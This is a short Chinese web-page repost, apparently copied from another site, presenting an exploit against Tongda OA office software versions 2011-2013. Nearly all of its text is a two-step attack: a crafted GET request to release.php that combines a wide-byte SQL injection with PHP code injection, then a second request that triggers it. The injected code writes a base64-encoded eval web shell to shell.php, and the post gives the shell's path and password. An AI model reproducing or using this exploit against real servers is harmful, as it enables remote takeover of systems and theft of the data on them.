通达OA 2011-2013 通杀

来源:互联网 发布:c语言编程软件vc6.0 编辑:程序博客网 时间:2024/06/10 04:02
EXP:
 

第一步:
[GET]http://site/general/crm/studio/modules/EntityRelease/release.php?entity_name=1%d5'%20or%20sys_function.FUNC_ID=1%23%20${%20fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}
 
第二步: [GET]http://site/general/email/index.php
 
SHELL: http://site/general/email/shell.php 密码C
 
0 0
原创粉丝点击